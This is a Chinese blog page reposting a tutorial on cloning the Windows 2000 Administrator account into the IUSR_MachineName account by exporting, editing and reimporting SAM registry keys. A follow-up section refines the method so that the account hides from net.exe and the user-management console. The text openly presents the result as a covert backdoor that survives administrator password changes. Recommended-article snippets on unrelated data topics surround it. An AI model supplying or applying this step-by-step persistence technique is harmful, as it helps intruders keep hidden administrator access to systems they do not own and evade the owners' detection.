克隆管理员帐号的方法

大数据领域交易数据的清洗与预处理要点 缺失值:关键字段(如用户ID、支付金额)为空,占比通常在5%-20%(来源:Gartner 2023数据质量报告);异常值:偏离正常分布的数据(如一笔订单金额为100万元的便利店消费);重复数据:同一交易的多次提交(如用户点击"支付"按钮两次);不一致数据:语义冲突(如"订单状态"同时存在"已支付"与"未支付")或格式冲突(如日期格式为"2023/10/01"与"2023-10-01")。graph TDA[脏数据类型] --> B[缺失值]A --> C[异常值]A --> D[重复数据] 阅读详情
首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 00001F4
这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 00001F4]最后的'1F4'修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的'1F4'修改为'3E9'后执行
regedit /s adam.reg
导入该Reg文件

然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)

OK,大功告成...

这样,我们拥有和默认管理员一样的桌面、一样的Profile.....
而且,当我们运行 net localgroup administrators 时,看看结果:
C:/>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

再看看USER2SID的输出结果:
C:/>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:/>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

^_^,这算不算RootKit...

附:
1、感谢叮叮付出需要reinstall OS的代价...
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关,偶均不提供技术支持...

-----------------------------------------------------------------------------

叮叮 的补充完善

很多人提到使用了管理工具的用户管理后,能够发现IUSR_MachineName被提升了权限。
现给出解决办法。

方法同上,不过这次修改内容多一些。即
这次要导出两个key内容:
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 00001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 00003E9

然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users 00001F4]最后的'1F4'修改为IUSR_MachineName的SID”

现在,你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“'V'=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分

最后使用
regedit /s adam.reg
导入该Reg文件
呵呵,别忘了给这个IUSR_MachineName改密码哦。
hehe,ok,大功告成。
现在IUSR_MachineName账号拥有了管理员的权限,但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹,即使你去察看所属于的组和用户。
都和修改前没有任何区别。

好了,补充结束。
Java 大视界 -- 基于 Java 的大数据实时流处理在金融高频交易数据分析中的应用 本文探讨了Java大数据实时流处理技术在金融高频交易数据分析中的应用。文章首先分析了高频交易面临的三大核心挑战:数据规模与速度双重碾压、多维变量动态博弈及异构数据整合难题,指出传统批处理模式已无法满足微秒级交易需求。 随后重点介绍了Apache Flink和Storm等Java实时流处理框架的解决方案,通过代码示例展示了异常交易检测的实践实现。文中数据表明,Java实时流处理技术可将数据处理延迟从300毫秒降至10微秒,大幅提升交易信号捕捉能力。 文章还探讨了多协议数据接入、内存计算优化等关键技术,为金融高 阅读详情

相关推荐

AI在现实世界中的应用场景

AI在现实世界中的应用场景 1. 自动驾驶 题目: 请描述自动驾驶车辆中 AI 的主要应用。 答案: 自动驾驶车辆中,AI 主要用于以下几个方面: 感知系统:

AI天才研究院 907

手工克隆管理员帐户(转)

帐号克隆是指通过技术手段让一个普通用户拥有和管理员一样的权限和桌面,而从外表看来这个普通用户还保持原来的属性,非常具有隐藏性,是一种常见的后门形式。 下面,我手工把guest帐户克隆管理员(administrator),先来看下guest帐户在克隆前的状态和属性,如下图: 图一 图二 接着,打开注册表,找到如下键值:HKEY_LOCAL_MACHINE\SAM\SA...

weixin_30555125的博客 226

大数据交易中的关键技术:数据脱敏与匿名化处理

随着大数据时代的到来,数据已经成为一种重要的资产,大数据交易市场也日益繁荣。然而,数据中往往包含大量的个人敏感信息和商业机密,如用户的身份证号码、电话号码、企业的财务数据等。在大数据交易过程中,如果这些敏感信息得不到有效的保护,就会面临隐私泄露的风险,这不仅会损害数据所有者的利益,还会影响大数据交易市场的健康发展。本文的目的是深入研究大数据交易中的数据脱敏与匿名化处理技术,介绍这些技术的原理、方法和应用,帮助读者了解如何在大数据交易中有效地保护数据隐私。

AI智能探索者的博客 1288

批处理学习之四 克隆管理员账户

1、克隆管理员账户,再开3389,只有检查注册表才能被发现。@echo off::第一步 创建克隆账号 ::设定克隆账号 set user=test::设定被克隆账号set buser=Administrator::设定路径set ridkey=HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/::创建账号名为%user%$ 密码为%user%8

turboking的专栏 1095

windows创建隐藏用户和克隆管理员用户

账号克隆就是复制管理员的注册表信息 搭建环境     虚拟机是windows server 2008,开3389,查看ip地址进行远程登录   登录后查看用户 创建一个用户  $ 可以使该用户在命令行中隐藏,本文为演示实现创建隐藏账号,可直接修改guest等默认用户进行克隆实现隐藏后门   我们再次查看用户,发现并没有 au$ 这个用户,但是在用户管理中可以发现 ...

Au 1万+

2008 r2 server 提权_windows server 2008 R2 管理员帐户克隆方法(图文)

提醒:为了意外情况发生,请先备份SAM文件。1.首先进入注册表,找到SAM文件,位置是HKEY_LOCAL_MACHINE\SAM\SAM,默认情况下,SAM下面的所有子项全部是隐藏不可见的,右击SAM,在右键菜单中选择权限。2.在出现的权限对话框中,将administrators用户组的权限改成完全控制,然后再点击应用,确定。3.依次单击“查看”菜单----“刷新”,可以看到SAM下面的子项已经...

weixin_39787606的博客 456

Windows操作系统克隆账户

Windows操作系统克隆账户

weixin_48824655的博客 2032

量化交易中的数据处理技术如何应对大数据挑战?

通过采用先进的数据处理技术,量化交易者可以更好地应对这些挑战,并提高交易策略的有效性和竞争力。随着技术的不断进步,大数据技术在量化交易中的应用将越来越广泛,为量化交易者带来更多的可能性。在当今的金融市场中,量化交易已经成为一种主流的投资策略。本文将探讨如何运用先进的数据处理技术,来应对这些挑战,并保持量化交易策略的有效性和竞争力。本文提供了一个关于量化交易中数据处理技术的概述,包括大数据的挑战、关键技术、应用案例和未来趋势。在量化交易领域,大数据不仅仅是数据量的增加,它还涉及到数据的多样性、速度和准确性。

云策量化的博客 727

量化交易中的大数据技术是如何应用的?

大数据技术是指处理和分析大规模数据集的技术,这些数据集的规模超出了传统数据库软件的处理能力。在量化交易中,大数据技术可以帮助交易者处理和分析金融市场的海量数据,包括价格、交易量、新闻报道、社交媒体情绪等。

股票量化的博客 1173

量化交易中的算法交易与自动化交易系统

在金融市场的汪洋大海中,量化交易如同一艘艘快速航行的帆船,而算法交易和自动化交易系统则是这些帆船的动力之源。量化交易中的算法交易与自动化交易系统是金融市场的双翼,它们让交易更加高效、智能。这篇文章提供了一个关于量化交易中算法交易与自动化交易系统的全面介绍,从基本概念到实战案例,再到未来趋势,旨在为读者提供一个通俗易懂、深度且灵动的教程。自动化交易系统是算法交易的实践平台,它将策略转化为实际的交易行为。1.4 性能监控:最后,算法交易需要持续监控其性能,确保策略的有效性,并在必要时进行调整。

云策量化的博客 1095

基于区块链的大数据交易模式研究与探索

点击上方蓝字关注我们基于区块链的大数据交易模式研究与探索李源1,高宁1,孙晶1,2,赵会群11北方工业大学信息学院,北京 1001442北方工业大学大规模流数据集成与分析技术北京...

weixin_45585364的博客 9767

联机交易与批量交易、批处理和流处理

联机交易与批量交易 联机交易就意味着系统对外直接提供的交易,该类交易具有事务性——可回滚;实时性——交易有生命周期,并有超时机制等,调用方需实时等待被调方的反馈,成功或失败皆有反馈;并发性——同一类甚至同一个交易可同时被多个线程调用,相互间有锁处理机制。 批量处理则意味着该交易相关的参数、系统状态已经锁定,系统需要进行的是某一类操作,该类操作具有统一性——使用相同的规则处理大量数据;串行性——并不是说批量交易中不能有并发,而是有固定的步骤,先做哪一步,再做哪一步,每一步都有对某些条件的依赖;可重复性——这个

one-way or another 1万+

借助大数据提升交易数据的分析效率

在金融市场的数字战场上,每一秒都意味着数百万美元的流动和无数交易决策的产生。传统交易数据分析方法如同在暴风雨中试图用手接住雨滴——低效且不完整。本文将带您探索大数据技术如何彻底改变交易数据分析的格局,从根本上提升分析效率和决策质量。我们将深入剖析交易数据的特性与挑战,详解大数据技术栈如何破解这些难题,通过实际案例展示实施路径,并展望未来发展趋势。无论您是金融分析师、数据工程师还是交易系统架构师,这篇文章都将为您提供一套全面的知识体系和实用工具,帮助您在数据洪流中把握市场脉搏,做出更明智的交易决策。

AI天才研究院 957

国内各路大数据交易平台现状

自国家颁布大数据纲要以来,数据交易的话题一路火到现在,对于数据流通的争论也从来没停歇。有争议的话题不多说,该由市场解决的问题留给时间去处理。小编在这里尽量以客观的角度带大家浏览各大数据交易平台的现状。 一、背景 大数据交易市场和洛克菲勒时期的美国石油市场如出一辙,政府、企业巨头、草根人物全都参与其中。但总体看来集中度还不高,交易规模也并不大,尚属于处女地,等待着那个一统天下的英雄的出现。 二...

chaishen10000的专栏 7418

现实世界中哪些地方用到了Java?

英文原文:Where does Java used in Real World?   如果你是一个起步者或者只是刚刚开始学习 Java,你或许会疑虑,Java 到底是在哪里被运用的呢?除了 Minecraft 这款游戏以外,你没有见过用 Java 编写的游戏吧?桌面工具 Adobe Acrobat、微软的 Office 办公软件,他们都不是用 Java 编写,以至于连我们电脑所应用的操作系统(L

jtahstu的专栏 8929

AI时代的量化金融:ChatGPT在交易中的应用与前景

金融,这个古老而又充满活力的领域,一直在探寻着更加科学、精准的分析方法。随着大数据、云计算、人工智能等技术的飞速发展,量化金融与算法交易逐渐崭露头角,成为金融领域的新宠。而ChatGPT,作为生成式AI的代表,以其强大的自然语言处理能力和智能生成能力,为金融策略与算法交易提供了新的可能性。

屿小夏.的知识博客 3万+

交易数据在大数据浪潮中的变革与机遇

大数据浪潮下的交易数据,已从冰冷的记录脱胎为驱动商业与金融进化的“活体智慧”。这是一场融合了分布式技术、实时计算、人工智能与安全合规的深刻变革。技术的迭代为其价值挖掘提供了前所未有的利器。然而,真正的竞争壁垒不在于算法的最前沿,而在于。

架构师的AI之路,分享AI应用开发架构的学习与实践。 823

Java在现实生活中都用在哪些项目?

刚刚开始学习Java,你可能会想Java用在什么地方。你可能会想,除了《我的世界》这款游戏外其他游戏很少用Java开发,桌面工具如Adobe Acrobat、Microsoft Office也没有用Java开发,甚至操作系统Linux、Windows也没用。那么人们到底会在什么地方用到Java呢? Java到底有没有现实世界的应用?好吧,其实并不是只有你一个人对这个问题感到困惑。很多程序员在开始J...

javarrr的博客 1319
上一篇: SQL 2000删除和恢复危险存储过程的语句
下一篇: 防御SNIFFER(zz)
afxid
博客等级 码龄23年 33粉丝 26原创
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值